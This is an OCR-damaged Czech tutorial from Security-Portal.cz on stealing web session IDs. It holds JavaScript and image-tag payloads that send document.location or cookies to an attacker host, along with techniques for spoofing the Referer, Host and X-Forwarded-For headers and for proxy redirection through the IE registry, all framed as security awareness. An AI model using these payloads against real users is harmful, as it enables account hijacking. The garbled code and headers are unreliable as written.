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Pred ¢asem jsem se zabyval technikou "kradeni" webovych session. Dokonce jsem k tomu sepsal
takovy kratky textik. Ted se opét vracim k tomuto tématu, protoze mam pocit Ze je stale (a jesté
nakou dobu bude) aktualni. Predevsim jsem objevil dalsi zplsoby, jak session ziskat, at provider déla
co déla.

Zacindm mit pocit, ze téma webovych session je ¢im dal vic podcenovano.

S prichodem session implementaci prfimo ve skriptovacich jazycich (php, asp,
jsp...) se totiz ¢im dal vice programatord na tyto sessny pfilis spoléha

a otdzku bezpecnosti nedoceni.

S timto trendem jsem se osobné setkal i u komerénich baliku. Tam
je vétsinou vidét, ze zkratka ten webovy interface neni jadro funkcénosti
a je bran jen jako okrajové véc, a podle toho to taky vypada :o(

| kdyZ toto md byt v podstaté pokracovani toho zminéného textiku,
nebudu se na néj odkazovat, ale techniku se pokusim vysvetlit kompletné
Znovu.
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1. Web session

1.1 Kéemu to je
1.2 Jak session funguje

1.3 Prostredky protokolu HTTP na identifikaci session
1.4 Nastroje na ovéreni session

Pokusim se trochu pfriblizit co pojem session znamend, pokud by to nékdo
nevédél. Protokol http, ktery se pouziva na webu (nebo kryptovany https)

je pGvodné navrzen pouze na funkci "pozadavek -> odpovéd". To znamena,

Ze neni stavovy, na rozdil od napf. imap, telnet ftp, ssh, takze nema mechanismy
na udrzovani jakékoliv informace o klientovi, ktery request poslal. Informace
ma k dispozici pouze v momenté spojeni - vyfizovani zadosti. Jediné co tedy
ma k dispozici, jsou informace o spojeni a informace, které poslal klient

v requestu. Session ale znamen43, Ze nejde jen o jednordzovy request, ale
posloupnost akcfi, kterd musi byt jednoznacné pfifazena jednomu requestorovi.
Requesty tedy musi mit néco spole¢ného a unikatniho, aby je server spravné
priradil jednomu uzivateli.

1.1 K ¢emu to je

Tyto session jsou velmi uziteCna véc a pouzivaji se ve stale vétsi mire.

Pouzivaji se vSude tam, kde je tfeba néjaka autorizace, ale jsou i anonymni
internetove obchody apod. Typyckym prikladem jsou webmaily, chaty apod.

Jde o to, Ze tfeba u webmailu se vam pfi pfihlaseni vygeneruje néjaké jednoznacné
ID pro vasi session. Ta se pak pouziva k vasi identifikaci a zajistuje,

Ze se vam zobrazi pravé VASE emaily, Ze odchozi

posta bude z VASI adresy a NIKOHO JINEHO.

1.2 Jak session funguje

Jako session ID se da pouZzit IP adresa, login popf. s heslem, mize byt

i z .htaccessu, nebo prosté néjaké unikatni ¢islo. Jen se ta zvolend informace
musi poslat s kazdym requestem. U IP je to jasny, u .htaccessu se o to stara
browser, ale v ostatnich pripadech je to vyhradne zélezitost stranek co
dostavate od serveru.

Dllezité je, Zze server ma informace o vasi session hlavné u sebe (napr.
v databdzi, v souboru, v Idapu apod.). Vase unikatni ID vas opravriuje k
tomu aby vdm byly zprostrfedkovany pravé ty vase informace.

1.3 Prostrfedky protokolu HTTP na identifikaci session
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Prostredky pro identifikaci, které se pouzivaji jsou jiné nez jsem naznacil
vysSe. IP adresa se prakticky nepouziva, protoze ma zakladni nevyhodu -
nemusi byt jednoznacnd. Bézna praxe totiz je, Ze se napfr. celd firma pripojuje
do internetu pres jednu adresu, nebo chodi pres jednu proxy, nebo nedejboze
kdyz uzivatelé pouzivaji anonymizery :0). Pro identifikaci se tedy nepouziva,
ale zato jako ovérovaci doprovodny prvek je velmi uzitec¢na :o(

Login pres .htaccess se pouziva také malokdy, mé par celkem zdsadnich
nevyhod. Browser neumi logout, coz znamena, ze zadané jméno a heslo posila
serveru Uplné s kazdym requestem az do jeho zavreni. Navic je to heslo

v nezakryptované podobé, jen v base64 a ve skriptu si ho mUizete normalné
precist.

VétsSinou se tedy pouziva unikatni id vygenerované serverem a predavané
bud' v cookies nebo pfimo pres GET/POST. To znamena, Ze vy na svij vstupni
request (mdze byt autorizacni) dostanete session ID bud v headeru v cookies
(nevidite ho), nebo je v url vSech link{ ve strance, kterou jste dostali,

popr. ve vsech formularich, které na strance jsou. To zajistuje, ze se vase

id poSle s kazdym requestem (u cookies se o to stara browser).

U metod GET/POST se mUzeme setkat se dvéma variantami. Bud' je session

id posildno jako proménna (pak musi byt i ve vSech formulafich) (napf. www.xchat.cz [6],
www.centrum.cz [7]), nebo je zakédovano primo v adresarové strukture pozadavku
(www.post.cz [8]). Priklad cookies je tfeba www.atlas.cz [9].

1.4 Nastroje na ovéreni session

Je tfeba si uvédomit, na které informace od klienta se mize webovy server
spolehnout. Samozrejmé 100% na nic. Jedina skoro 100% informace je klientova
IP adresa. Funkni spojeni ze spooflé IP adresy pres internet se asi da

vyloucdit, to by bylo mozné spiS v lokalni siti a i tak by to bylo pro Gto¢nika

dost prace. Vzhledem k vyse uvedenym nedostatkim samozrejmé taky neni jisté,
zda dotaz je pfimo od toho samého stroje, jako zalatek session, ale je to

stéle nejsilnejsi ochranny prvek. Pokud se vsak pouzije, neda se realizovat
"transparentni" session (nezavisla na pripojeni, coz je vyhodné pro dial-upy),
protoze pri kazdé zméné IP adresy vas vykopne.

Obcas se také pouziva polozka "Referer" z HTTP hlavicky. Tou se ovéruje,

ze klient vold stranku z jiné stranky ze serveru, a ne napr. ze svoji lokalni
kopie, nebo z jiného serveru. Tuto polozku posila browser, ale kdyz jste
zbéhli v protokolu HTTP, d& se podstrcit tfeba telnetem. Vypadalo by to treba
takto:

tel net | ocal host 80
Trying 127.0.0.1...
Connected to sgl.

Escape character is '""]'.

CET /openni x/attach. htm HITP/ 1.1

Connection: Keep-Alive

User-Agent: Mbzilla/5.0 (conpatible; Konqueror/2.2; FreeBSD)

Accept: text/*, image/jpeg, inage/png, imagel/*, */*

Accept - Encodi ng: x-gzip, gzip, identity

Accept - Charset: Any, utf-8, *

Accept - Language: en, cs_CZ, cs_CZ. 1 SO 8859-2

Referer: <a href="http://matrix/openni x/sessi on. php?si d=sedt gl Urvhgj ht Fht f 587gf <br />
Host:" title="http://matrix/openni x/ sessi on. php?si d=sedt gl Ur vhgj ht Fht f 587gf <br />
Host: ">http:// matri x/ openni x/ sessi on. php?si d=sedt gl Urvhgj ht Fht f 587gf <br />

Host: </a> matri x

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn
Strana 3z 20


http://www.xchat.cz
http://www.centrum.cz
http://www.post.cz
http://www.atlas.cz

Advanced session stealing (cast 1.)
Publikovano na serveru Security-Portal.cz (https://security-portal.cz)

Nasleduje odpovéd serveru. Samozrejmé néjakym netcatem nebo perlovym
skriptem se to da udélat celkem bez namahy. Pokud vSak narazite na tuto

ochranu u PHP, tak se nezdrzujte Zzaddnym netcatem. Stacli zadat do url pozadovanou
adresu a pridat proménnou $ SERVER[]. Pokud totiz zadavate adresu pfimo,
browser tuto polozku vubec neposila, a PHP ji tedy nenastavuje. Nastavuje

ale proménné z url query, takze jednodusSe zaménite vasi proménnou za polozku

z hlavi¢ky. Tato finta se hodi i u dalsiho ovérovaciho prvku, ktery se obcas

pouziva jako doplihkovy k IP adrese.

Je to polozka z hlavi¢ky "x-forwarded-for", kterd se mlze nastavovat

na proxy a méla by obsahovat skute¢nou IP adresu stroje, pro ktery se pozadavek
vyfizuje. Postup na podstréeni je stejny. Ale v praxi se ¢lovék obc¢as mize

setkat s neuvéritelnymi konstrukcemi, ze napf. je ochrana zalozena na IP,

ale pokud je zadana polozka "x-forwarded-for", vezme se MiSTO ni, coz znamen4,
Ze takové ochrané hravé zménite svoji IP adresu prosté tim, ze podstrcite

tuhle polozku!

2. Ziskani session

2.1 Kdy a jak session ziskat
2.2 Trojsky kdn

Konec¢né se dostdvame k jadru problému. Cilem tohoto dokumentu je upozornit
na bezpelnostni diry v implementaci velkeho mnozstvi webovych aplikaci pravé
pres vulnerabilni session. Nejlépe se na né upozorni ndzornou demonstraci.

2.1 Kdy a jak session ziskat

V dalsim textu nés nebude zajimat anonymni session. Budem se zabyvat
bezpecnosti "uzivatelskych" session, tam to ma predevsim vyznam. Takovd
session ma totiz specificky prlbeh. Ma v zdsadé 4 stavy: neprihlasen, autorizace
(login), prihlasen, logout/timeout. Budto mUze stav "prihlasen" nastat

pro kazdé session id jen "jednou" (pfi kazdém loginu se vygeneruje jiné),

nebo je tfeba spojeno s konkrétnim uzivatelem a pak se pouzije pfi kazdém
prihldSeni tohoto uzivatele. Nam je to v zadsadé jedno. Dilezité je to, ze
nabourat se do session technikami, které uvedu dél, je mozné

POUZE pokud je session aktivni, tedy uZivatel je PRIHLASEN.

Zpusobl jak session ziskat je nékolik. V zdsadé se daji rozdélit na lokalni

a vzdalené. Za lokalIni povazuji odecteni z monitoru, ale i odposlechnuti

ze sité (sniff), protoze to vyzaduje byt s cilem napr. v jedné lokalIni siti,

nebo néjakym zplsobem "videt" jeho pakety (tfeba arp redirekt). Témito zpUlsoby
se zabyvat nebudu, jednak nejsou tak zajimavé a jednak takovy naznak by

mohl stacit :0).

Budu se spis vénovat technikdm, jak ziskat session vzdalené.

2.2 Trojsky kun

Nelekejte se nebude fec¢ o zddném NetBusu nebo BO2K :0). Jenom, kdyz
jsem premyslel o tom, jak vlastné ty techniky funguji, tak jsou trojskym
kornim velmi podobné, pouze s jednim velkym rozdilem. Daji se do ciloveho

objektu "nainstalovat" vzdéalené!

Nejprve vysvétlim tu podobnost trojanlm. Pri ziskavani identifikatoru
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session jde v podstaté o to, Zze my potrebujeme néco, co je "pouze" u cilového
klienta, dostat k "ndm". Potrebujem tedy dostat néjaky "prostrfedek" ke
klientovi, ktery to ziska a néjakym zplsobem doruci k ndm nebo nékam, kam
mame pfistup. VSechny techniky, co tu uvedu funguji tak, ze cely proces

md vzdy dveé ¢asti. Jednu potrebujeme "podstrcit" klientovi, ta zajisti ziskani

a odeslani informaci. Drlha pak je treba server-side script na webhostingu,
kterd doruc¢enou informaci ulozi, a zpfistupni pro vlastni nabourani session
(prevzeti uctu). Neni to hotovy trojan?

Je na Case se vratit k té "vzddlené instalaci". Je asi jasné, Ze ta "klientska"
Cast je néjaky "chytry" kéd. Nékde staci html, nékde zas jde vyuzit javascript.
Jen potrebujeme néjakou "branu" do session. Musi existovat zpUsob, jak
zadat kéd, ktery se v cizi session urcitym zplsobem interpretuje. Konkrétné

to znamena treba poslat mail, zadat neco do chatovaciho okna, popr. do osobnich

Udaju, zkratka vsude, kde se da néco zadat a pokud mozno se to interpretuje,
tfeba i pres wap. Pokud se podafri infiltrovat session vhodnym kédem, je
to polovina Uspéchu. Pak uz zalezi jen na zabezpeceni.

3. Klientska cast

3.1 GET/POST based aplikace
3.2 Cookie based aplikace
3.3 Advanced "Brute force" JavaScript - (externi)

vvvvvv

session tak jak potrebujem. Dllezité ale také je, aby celd ¢innost byla

co nejlépe maskovana a zakamuflovana. U nékterych typ0 Uspéch vyzaduje
akci obéti, takze je treba ji k potfebné akci presvédcit co nejdlvéryhodnéji,
aby nepojala podezreni. Zplsoby, které tady naznac¢im maiji rlizné stupné
obtiznosti, rzna Uskali a nutné podminky a také riizna rizika detekce. V
praxi je potrfeba vzdycky zvolit nejlepsi reSeni pro dané podminky a obcas
zaimprovizovat, nebo nékteré metody zkombinovat &i upravit.

3.1 GET/POST based aplikace
3.1.1 Ziskéni hlavicky "Referer"

3.1.2 "Referer" pro pokrocilé (stealth)
3.1.3 Pristup k "document.location"

3.1.1 Ziskani hlavicky "Referer"

v v/

Prvni zplsob je na provedeni asi nejjednodussi, ale byva uz ¢asto osetren

a navic vyzaduje akci od obéti. Zase se mize povést ¢asto tam, kde se neda
interpretovat primo zaslané HTML. Jednd se o to, Zze kdyz mate ve strance
odkaz a kliknete na néj, browser v requestu posle polozku "Referer", ve

které je kompletni URL stradnky ve které odkaz byl, v€etné vSech proménnych
v url! Jak jednoduché! Staci nékomu podstrcit odkaz na svUj server-side script
a tam si Referer precist.

Bohuzel vzhledem k tomu, Ze je to nejCastejsi typ uUtoku, vétSina webovych
sluzeb pouziva redirekty, takze k vam uz se Referer nedostane (dostane se
k védm jiny). Navic mdze byt problém s tim, Ze musime klienta né&jak nalédkat,
aby na odkaz kliknul, coz uz dost lidi znd a jen tak na nejaky link neskoci

:0(
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3.1.2 Referer pro pokrocilé "stealth"

Tento zpUsob je za normalnich okolnosti prakticky nezjistitelny a navic
nepotrebuje zadnou akci od obéti. Vyuziva toho, ze browser posila Referer
i s requestem na obréazek, ktery je ve strance. Jako zdroj obrazku ale mdze
byt libovolny server-side script.

Takze zda se to na prvni pohled jednodussi, ale neni. Uskali je pfi
tom vkladani. Malokde se vam totiz zinterpretujou vdmi zadané znaky <>.
Ale bez problémU to jde napr. v html priloze mailu.

Velkou vyhodou vsak je, Ze norméalné mize byt nedetekovatelny, pouze

v pripadé, Ze by obét z néjakého dlvodu pojala podezreni a zac¢la zkoumat
zdrojak. Mlzete totiz poslat neviditelny obrazek, a pokud mate web server
komplet ve spravé mizete interpretovat i pripony .jpg nebo .gif :0):

<img src="http://matrix/nix.gif" w dth=0 hei ght =0>

Dokonce mUzete pres GD knihovnu v PHP vygenerovat, ¢i podstrcit opravdovy
obrazek, to uz je na fantazii kazdého. :0)

3.1.3 Pristup k "document.location"

Tento zpUsob vyuzivéa javascript a jeho pfistup k objektu dokument.location
(vlastni url). Opét je tu zavazny problém. Je tfeba dostat k obéti tentokrat

vvvvvv

mailu.

Vyuziti JavaScriptu je o néco pracnéjsi, navic je tfeba zajistit, aby
script ziskané informace odeslal. Ne Ze by to byl porblém, ale je to vic
prace (kédu), nez v predchozich pripadech. Uvedu tu aspon 2 zplsoby.

Prvni je nejjednodussi, ale tezko se da skryt, jedina vyhoda je moment
prekvapeni. Pokud staci k vlastnimu Gtoku hodné kratka doba a nezélezi na
odhaleni (coz je nebezpecéné, protoze obét mize ve zdrojaku objevit pro Gto¢nika
nebezpecné adresy), stadi pouzit redirekt:

<script |anguage="javascript">
<l--
docunent.location = '"http://matrix/?url = + docunent.|ocation;
[]-->
</script>

Méte Cas asi tak nez se obét vrati zpét a zavre session :0o(. Musite si
taky stihnout zabalit, nez vas najdou podle ziskanejch adres a registrace
¢i pristupd :0)

Podobného efektu, ale s vétsi namahou by se dalo dosdhnout formuldrem.

Zajimaveéjsi a to o dost je v zasadé vyuziti zplsobu 3.2. Ma to opét vyhodu,
Ze se tezko detekuje. Prace je to trochu vic:

<script |anguage="javascript">
<l--

docunent . wite('<ing src="http://matrix/?url=" + docunent.location +

hei ght =0>') ;

""" wi dt h=0

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn

Strana 6 z 20



Advanced session stealing (cast 1.)
Publikovano na serveru Security-Portal.cz (https://security-portal.cz)

[]-->
</script>

Samozrejmé kdykoliv pouzivate JavaScript, je tu riziko, Ze ho browser
obéti bude mit vypnuty, nebo pokud budete tvorit néjaké Uzasné konstrukce,
tak se tfeba neinterpretuje spravné.

3.2 Cookie based aplikace

Cookies jsou plvodné uréeny k tomu, aby si server ke klientovy ulozil
informace, které mu pak klient po dobu platnosti cookie vraci. Cookie je ur¢eno
vzdy jen serveru, od kterého bylo prijato, a mize byt omezeno i pfimo na
adresar. Proto se pomérné casto také vyuziva pro udrzovani session. Navic

ho nevidi ani sdm uzivatel, nebot se posila prfimo v HTTP hlavi¢ce. Browser

si tyto cookies uklada do textovych soubor(. Protoze cookie se neposle skriptu
na jinou doménu, neda se zde pouzit technika odkazu, jako pfi zjiStovani
referera. Nastésti vSak ma ke cookies opét pristup vsemocny javascript a

to pres objekt:

docunent . cooki e

Je tedy treba infiltrovat session javascriptem, coz s sebou prinasi Uskali
zminéna v predeslé ¢asti. Zajimavé vSak v tomto pripadé je to, ze neni tak
jednoduché se do session nabourat. Potrebujete totiz cookie nastavit u

svého prohlizece. To muzete udélat bud' tak, ze infiltrujete vlastni Gcet

u dané sluzby javascriptem na nastaveni cookie, nebo najdete, kam si vas
browser cookie uklada a zapiSete to pfimo tam. To ovsem neni moc jednuduché
napr. u exploreru. V Mozille i v Netscapu to najdete v pohodé.

Metody jak ziskat cookie based session id jsou tedy v zdsadé dvé. Bud’
primo infiltrovat session javascriptem, ktery hodnotu cookie zjisti a posle
ji "serverové" ¢asti (to kdyz mate kliku a sluzba se dé pfimo javascriptem

napadnout), nebo je tfeba pouzit techniku, které se vénuji v ndsledujici kapitole...

3.3 Advanced "brute force" JavaScript (externi)

3.3.1 Interoperace mezi rliznymi okny

3.3.2 Omezeni prav pri u dokumentd z rdznych domén
3.3.3 Identifikace URL & chovéni web serveru

3.3.4 Podminky pro DNS spoofing & proxy

3.3.5 Presmérovani proxy???

Konec¢né se dostavdme k opravdu zajimavym technikdm, kvili kterym jsem
do ndzvu tohoto dokumentu dal prefix "Advanced" :0). Tyto postupy sice uz
s nékterymi i rafinovanymi ochranami. Zatim jedina spolehliva prekazka, na
kterou tu budeme stéle narazet, je kontrola IP adresy.

v

3.3.1 Interoperace mezi ruznymi okny prohlizeée

Dllezitad vlastnost JavaScriptu, kterou v dalsim textu velmi ocenime,

je moznost ovliviiovat ostatni okna prohlizece a spolupracovat s nimi. Neni
to tak Uplné jednoduché, jak jsem ted rekl, ale i omezend kooperace ndm
bude dobra.
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Okna které jsou spolu v urcitém vztahu, spolu mohou "spolupracovat",
tj. ziskdvat informace od ostatnich a ovliviiovat je podle svych potreb.
Tim zvlastnim vztahem myslim tyto zavislosti:

a) Okno bylo otevreno jinym (pres JavaScript)
b) Okno otevrelo jiné okno.

V obou pripadech maiji "spriznéna" okna ve scriptu svUj handler - instanci
tridy window (snad, nevim jestli se ta tfida jmenuje zrovna takhle :0)).

Pro pripad a) je instance vytvorena automaticky a je to objekt:
sel f. opener

opener /1 To by nmelo take stacit. self ukazuje na sebe

Tento objekt je ekvivalentni objektu window, ale obsahuje informace a

metody "rodi¢ovského" okna. Pres néj se tedy da pristupovat k objektdim, které

normalné zname:

sel f. opener. docunent
sel f. opener.location
sel f. opener. history

V pripadé, Ze v JavaScriptu otevieme jiné okno, ziskdme jeho instanci
nasledujici konstrukci pfimo pfi otevirani:

<script |anguage="javascript">
<I--

child = wi ndow. open(' http://matrix/', 'Attack');
[]-->

</script>

Objekt child je opét ekvivalentem window ale odkazuje na pravé otevrené
okno.

Uz se ndm rysuji moznosti, jak obejit rlizné redirekty apod. Nejprve naznacim,
jakym zplsobem by to mohlo jit, ale jak uvidime dale, ve skutecnosti to vibec
neni tak jednoduché, a pfipravit si tuhle konstrukci je teprve zlomek toho,

Co je potfeba znat a mit pfipraveno.

Takovy typycky priklad ochrany pred "zcizenim" session id jsou redirekty

url. Prosté kdyz se vdm v session vypiSe URL, neni to link prfimo na stranku,
kterou vidite, ale na néjakou mezistranku, kterd nepotrebuje vasi identifikaci.
Odtud se teprve presmérujete na dany link, ale v hlavi¢ce REFERER uz je
adresa pouze toho redirektu, ktery je Uto¢nikovi k nicemu :o(.

Zkusime tedy na cilovou stranku umistit skript, ktery nejprve otevre

popup window a pak skoci o dvé stranky zpét. Tam by mél byt v session a
mél by tedy opét mit session id v document.location. Samozrejmeé uz tam ale
neni Zzadny nas Javascript. TakZe prfichazi chvile pro popup. V ném totiz musi
byt dalsi JavaScript. Ten ma definovany objekt self.opener, a mlze si tedy
precist self.opener.document.location! (Ve skutec¢nosti to tak jednoduché
neni, ale k tomu se dostanu). Jedinym problémem je synchronizace. Ta se ale

dé& vyresit tim, Zze ten névrat realizuje pravé ten "externi" skript v popupu.
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Toto bohuzel nefunguje v pripadé, Ze redirekt se otevrel v novém okné.

To je bohuzel velmi ¢asta praxe. Nicméné je tu dalSivéc, kterou jsem doposud

nezminil. Javascript ma pfistup i k hlavicce referer pres objekt document.referrer

(vSimli jste si rozdilu? To neni preklep!). Takze u rodicCe je to self.opener.document.referrer.
V tom pripadé nam tedy staci vratit se na redirekt, a tam precist referer.

Vyvstava ovsem problém se synchronizaci. Potfebujem totiz referer precist

v dost kratkém okamziku, nez se opét presméruje. Navic nam vznikne smycka

redirekt <-> nas skript, kterd sice zvysuje pravdépodobnost, Ze se externim

JS do redirektu trefime, ale rozhodné nepfispéje k zamaskovani Utoku :o(

No je na ¢ase poukdzat na problémy, které témto postuplm zatim pomérné
efektivné brani :o(

3.3.2 Omezeni prav u dokumenti z ruiznych domén

No zfejmé nejsme prvni, kdo vyse uvedena rizika objevil, takze madme smilu.
VSechny implementace javascriptu a VB scriptu od urcité verze (uz dost staré)
maji pravé kvlli témto rizikim v sobé nasledujici ochranu. Pokud uvedenym
zplsobem "sdilite" informace mezi okny nebo framy, musi byt ze stejné domény.
Jinak dostanete hlasku, Ze JS nema k dokumentu pfistup. A mame po legraci.
Znamena to, ze kdyz budete chtit nabourat email.seznam.cz, museli byste nejdriv
hacknout server a dostat na né&j svoje JavaScripty :o(

Znamena to konec? Nééé, jen se budeme muset podivat na to, jak a odkud
vlastné webovy klient ziskdva jméno serveru, ale také jak s nim pracuje
vlastni webovy server!

3.3.3 Identifikace URL & chovani serveru

Zda se vdm nemozné, aby se webovy server tvaril jako "nékdo jiny"? Tak
se podivame, odkud bere jméno klient a odkud server. Vysledky vas mozna
prekvapi.

Nejdriv je tfeba si zopakovat, jak cely HTTP mechanismus funguje, v€etne
prace browseru a serveru.

1. UZivatel zada link do adresy, nebo klikne na odkaz ¢i do bookmarku.
Kazdopdadné pro browser to prosté znamena: Jdi na adresu! Browser adresu
rozparsuje podle zndmého schématu. Pro ilustraci vezmeme treba nasledujici
adresu:

https://adnm n:taj nehesl o@ww. mat ri x. org: 913/ fol | ow rabbi t. php?he=i s& he=one

1 | 2 3 | 4 | 5] 6 | 7 | 8
kde je:
1 - protokol (nekdy se uvadi schems)
2 - uzivatel ske jneno
3 - heslo (tyto infornmace jsou pro .htaccess apod. jedna se o autorizacn
rozsireni HITP, ale k identifikaci session se nepouziva)
4 - donenove jneno serveru

- port

adresarova cesta
- nazev souboru, ktery pozadujene
- promenne oddel ene &

o ~NO Ol
1

2. Z jednotlivych ¢asti sestavi http request. Ten muze vypadat bud:
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CGET /foll ow rabbit.php?he=i s& he=one HTTP/ 1.1
Host: <a href="http://ww. matri x. org<br />
User-Agent:" title="">wmw matrix.org<br />
User - Agent: </a> Mozilla/5.0 (conpati bl e; Konqueror/2.2; FreeBSD)
Aut hori zati on: Basi c: YWRt aWl6dG-gbmVoZXNs bwo=
Accept: text/*, imagel/jpeg, image/png, inage/*, */*
Accept - Encodi ng: x-gzip, gzip, identity
Accept - Charset: Any, utf-8, *
Accept - Language: en, cs_CZ, cs_CZ. 1 SO 8859-2
Referer: <a href="http:// matrix/openni x/ sessi on. php?si d=sedt gl Urvhgj ht Fht f 587gf <br />
Connection:" title="http://mtrix/openni x/ sessi on. php?si d=sedt gl Ur vhgj ht Fht f 587gf <br
/>
Connection: ">http:// matrix/openni x/ sessi on. php?si d=sedt gl Urvhgj ht Fht f 587gf <br />
Connection: </ a> Keep-Alive

nebo:

GET <a href="http://ww. matrix.org/follow rabbit.php?he=i s& he=one" title="http://ww
.matrix.org/follow rabbit.php?he=i s& he=one">http://ww. matri x. org/follow rabbit.php?
he=i s& he=one</a> HTTP/ 1.0

User-Agent: Mdzilla/5.0 (conpatible; Konqueror/2.2; FreeBSD)

Aut hori zati on: Basi c: YWRt aWl6dG-gbmVoZXNs bwo=

Accept: text/*, image/jpeg, inmage/png, imagel/*, */*

Accept - Encodi ng: x-gzip, gzip, identity

Accept - Charset: Any, utf-8, *

Accept - Language: en, cs_CZ, cs_CZ. |1SO 8859-2

Referer: <a href="http:// matrix/opennix/sessi on. php?si d=sedt gl Urvhgj ht Fht f 587gf <br />
Connection:" title="http://matrix/openni x/session. php?si d=sedt gl Ur vhgj ht Fht f 587gf <br
/>

Connection: ">http://matrix/ openni x/ sessi on. php?si d=sedt gl Ur vhgj ht Fht f 587gf <br />
Connection: </ a> C osed

3. Ted pfichazi ta dllezitd ¢ast. Klient resolvne IP serveru, pfipoji
se a pozadavek posle!

4. Server zpracuje pozadavek a poSle odpovéd, kterd obsahuje hlavicku
a data. Nas ted data nezajimaji, ale hlavicka vypada néjak takhle:

HTTP/ 1.1 404 Not Found

Date: Wed, 10 Apr 2002 17:10:20 GMI

Server: Apache/1.3.19 (Unix) PHP/4.0.4pl1
Keep- Al i ve: tinmeout=15, nax=100

Connection: Keep-Alive

Transf er - Encodi ng: chunked

Content-Type: text/html; charset=iso-8859-1

Jak je vidét, nikde v hlavi¢ce neni zminéno ani jméno serveru, ani pozadovany
soubor, ani kompletni pozadavek. Z toho plyne zajimava véc: browser identifikuje
DNS serveru i cestu POUZE podle toho co SAM poslal! Server

to prosté normalné nijak neovlivni. Pouze v pfipadé, kdy chce klienta pfresmérovat.
To posle polozku

Location: http://matrix/index. php
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Velmi zajimavé tedy je, Ze jméno serveru se v HTTP posil v hlavicce.
Browser pak at dostane cokoliv, pokud neni presmérovan, mysli si ze to co
dostal je od serveru, ktery zadal. V pripadé primého pripojeni do internetu

je to logické - sam udélal resolve na IP adresu. Ale uz nam svita! Co v pfipadé
pouziti proxy?

Jesté je treba zjistit, jak se chova server v pfipade, Ze po ném vyzadujeme

host, ktery na ném nebézi. Samozrejmé mohou byt rozdily, nevim co fikaji
prislusné RFC, ale asi nejrozsifenéjsi server Apache se chova zrovna tak

jak se ndm to hodi. Dnesni webove servery umoznuji provozovani tzv. virtualnich
domén. To znamena3, Ze server mize mit vice adres (DNS) a pro kazdou ma jina
data. Fyzicky vSak ma jednu (nebo aspon jednoznacnou) IP adresu. Takze podle
fyzického spojeni ani nemuUze rozlisit, co po ném klient chce. Rozlisi to

az podle hlavicky "Host: ", kterd je také uz povinna. Podle ni vyhleda v
adresdarové strukture prislusného virtualu odpovéd a posle ji. Co kdyz ale

Host neobsahuje zadny provozovany virtual? V tom pfipadé Apache dava default
(primarni virtual)!

3.3.4 Podminky pro DNS spoofing & proxy

Déme si tedy dohromady 1+1. Jedna véc je, ze z libovolného apache dostaneme
skript, i kdyz dotazovany host v hlavi¢ce je nékdo Uplné jiny. Pro ndzornost

opét uvedu priklad Uplné ze zacatku. Jen zménim host v hlavi¢ce a v argumentu
telnetu. No a musite mi vérit, Zze na tom serveru nemam virtual "www.mvcr.cz"
:0)

tel net sgl 80

Trying 127.0.0.1...
Connected to sgl.

Escape character is '""]'.

CGET /openni x/attach. html HTTP/ 1.1

Connection: Keep-Alive

User-Agent: Mbdzilla/5.0 (conpatible; Konqueror/2.2; FreeBSD)

Accept: text/*, image/jpeg, inage/png, imagel/*, */*

Accept - Encodi ng: x-gzip, gzip, identity

Accept - Charset: Any, utf-8, *

Accept - Language: en, cs_CZ, cs_CZ. 1 SO 8859-2

Referer: <a href="http://matrix/openni x/sessi on. php?si d=sedt gl Urvhgj ht Fht f 587gf <br />
Host:" title="http://matrix/openni x/ sessi on. php?si d=sedt gl Ur vhgj ht Fht f 587gf <br />
Host: ">http:// matri x/ openni x/ sessi on. php?si d=sedt gl Urvhgj ht Fht f 587gf <br />
Host: </a> <a href="http://ww. nvcr. cz</p>

<p>HTTP/ 1. 1" title="www. mvcr.cz</p>

<p>HTTP/ 1. 1" >www. nvcr . cz</ p>

<p>HTTP/ 1. 1</ p></a> 200 K

Date: Wed, 10 Apr 2002 18:43:52 GVl

Server: Apache/1.3.19 (Unix) PHP/4.0.4pl1

Last-Modified: Tue, 09 Apr 2002 20:16:14 GV

ETag: "d3144-478-3cbh34cOe"

Accept - Ranges: bytes

Content-Length: 1144

Keep- Al ive: timeout=15, nax=100

Connection: Keep-Alive

Content-Type: text/htm

<htm >
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Takze jsem normalné dostal pozadovanej skript z default virtualu, coz
mi taky bud musite vérit, nebo si to vyzkousejte na libovolnym apachi, kterej
nema nastaveno proxypass.

Jasné, tak to umim telnetem, ale potfebuju, aby to udélal i browser.

To je ale dost jednoduchy. Jak uz jsem naznadil vyse, cesta k cili vede

pres proxy. Staci nastavit dany apache server (moznd i jiny), kde mdme pripravené
skripty a nastavit port 80. Hotovo. MUZete zadat jakékoliv DNS a dostanete
odpovéd z tohoto serveru.

3.3.5 Presmérovani proxy???

1+1 je sice 2, ale zatim to nestaci :0(. Nesmime totiz zapomenout, ze

pres tu proxy musi jit obét a ne my. Potfebujeme tedy najit néjaky zpUsob,
jak prinutit vzdalené klienta, aby Sel pouze na jeden nds request pres nasi
proxy. Takze nés ¢ekd asi nejvétsi orisek.

Jak se da predpokladat, zddné jednoducha regulérni cesta u tohoto Ukolu
neni. Aspon jsem zatim zadnou neobjevil. Bude tedy potreba se podivat po
nejakych netradi¢nich zplsobech. Rozhodné bude tézky takovou ¢innost zamaskovat.

Nejprve bychom se mohli zamérit na nejrozsirené;jsi prohlizec, jestli

tu nebude nejaka dirka :0). Samozrejmé mluvim o M$IE a to by v tom byl czert,
aby nejaké to rozsifeni neumoznilo prenastaveni proxy :0). Co presne je

potreba hledat, vyplyva z toho, jakym zplsobem si M$IE informace o proxy
uklada. Je to samozrejmé podle filosofie neprihlednosti M$ Windows (tenhle
dvojsmysl jsem ani nezamyslel :0)) v systémovych registrech. Bohuzel k dispozici
na testovani mam pouze W98. Tady je tfeba dat pozor na to, Ze nastaveni se
nastavuje a uklada zvlast pro jednotliva pripojeni. Jedno nastaveni je pro

LAN a kazdé dial-up pripojeni ma tuto informaci zvlast. Jsou to tyto registry:

pro LAN

[ HKEY_USERS\ . DEFAULT\ SOFTWARE\ M cr osof t \ W ndows\ Cur rent Ver si on\ I nt ernet Setti ngs]
"User Agent"="Mdzilla/4.0 (conpatible; MSIE 6.0; Wn32)"

"I E5_UA Backup_Flag"="5.0"

" NoNet Aut odi al " =dwor d: 00000001

"M grat ePr oxy" =dwor d: 00000001

"d obal UserO fl i ne"=dwor d: 00000000

" Pr oxyEnabl e" =dwor d: 00000001

"Enmai | Name" ="| EUser @

"Aut oConfi gProxy"="wi ninet.dl "

"M nmeExcl usi onLi st For Cache" ="nul ti part/ m xed nul ti part/x-m xed-repl ace
mul ti part/x-byteranges "

